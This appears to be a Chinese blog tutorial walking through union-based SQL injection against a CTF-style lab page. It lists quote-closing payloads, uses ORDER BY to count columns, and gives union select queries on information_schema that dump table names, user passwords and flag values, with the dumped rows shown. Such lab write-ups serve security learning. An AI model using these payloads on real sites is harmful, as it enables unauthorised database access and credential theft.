table_schema:存放所有数据库库名
table_name:存放所有数据表表名
table_schema:存放所有数据库库名
table_name:存放所有数据表表名
column_name:存放所有字段名
order by username :按照username字段排序
order by id :按照id字段排序
order by 1 :按照第一个字段排序
order by 2 :按照第二个字段排序
order by 3 :按照第三个字段排序
sql注入测试中经常用此功能判断服务器返回给前端字段的个数
union select :去重后输出数据
union all select : 重复数据也一起输出
limit 0,1 从第0行开始输出,输出1行数据
limit 8,9 从第8行开始输出,输出9行数据
graph TD
a[(确认是否存在注入点)] --> b(判断字段个数)
b --> c(联合查询找显示位)
c -->d(通过系统自带库查询表名以及字段名)
d -->e(查询需要的字段值)
常见的闭合方式有哪些?
URL: www.sunits.com/idex.php?id=1
查询语句:select * from user where id=1
闭合方式:这种情况下不需要闭合URL: www.sunits.com/idex.php?id=1
查询语句:select * from user where id=’1’
闭合方式:' -- qwe
URL: www.sunits.com/idex.php?id=1
查询语句:select * from user where id=”1”
闭合方式:" -- qwe
URL: www.sunits.com/idex.php?id=1
查询语句:select * from user where id=(‘1’)
闭合方式:') -- qwe
URL: www.sunits.com/idex.php?id=1
查询语句:select * from user where id=(“1”)
闭合方式:") -- qwe
步骤:
①确认存在注入点:
?id=3-2 查询结果:数据正常显示
?id=1 and 2=1 查询结果:数据不能正常显示
说明url中存在sql注入点
②判断字段个数:
?id=1 order by 1 数据正常显示
?id=1 order by 2 数据正常显示
?id=1 order by 3 数据正常显示
?id=1 order by 4 数据不能正常显示
说明数据库查询出3个字段
③联合查询找显示位:
?id=1 and 2=1 union select 1,2,3
数据显示2,3—说明第2个和第3个字段都是显示位
可以通过这两个位置显示需要查询的数据
④通过系统自带库查询表名以及字段名:
获取所有数据库名称:
?id=1 and 2=3 union select 1,2,table_schema from information_schema.tables limit 0,1
— limit 5,1
获取本站点表名:
?id=1 and 2=3 union select 1,2,table_name from information_schema.tables where table_schema=database() limit 0,1
— limit 1,1
?id=1 and 2=3 union select 1,2,column_name from information_schema.columns where table_name ='user' limit 0,1
— limit 2,1
?id=1 and 2=3 union select 1,2,column_name from information_schema.columns where table_name ='error_flag' limit 0,1
— limit 1,1
⑤通过获取的数据库名、表名、字段名获取数据:
因为2,3都是显示位,所以可以尝试一条查询同时获取两个字段的数据
?id=1 and 2=3 union select 1,username,password from user limit 0,1
— limit 2,1
序号 | username | password |
---|---|---|
1 | test | mima |
2 | niefeng | 7580241 |
3 | ssg | Nopassword |
- **error_flag表的数据:**
- `?id=1 and 2=3 union select 1,2,flag from error_flag limit 0,1` -- `limit 3,1`
序号 | flag |
---|---|
1 | zKaQ-Nf |
2 | zKaQ-BJY |
3 | zKaQ-XiaoFang |
4 | zKaq-98K |
打赏我,让我更有动力~
© 2016 - 2025 掌控者 All Rights Reserved.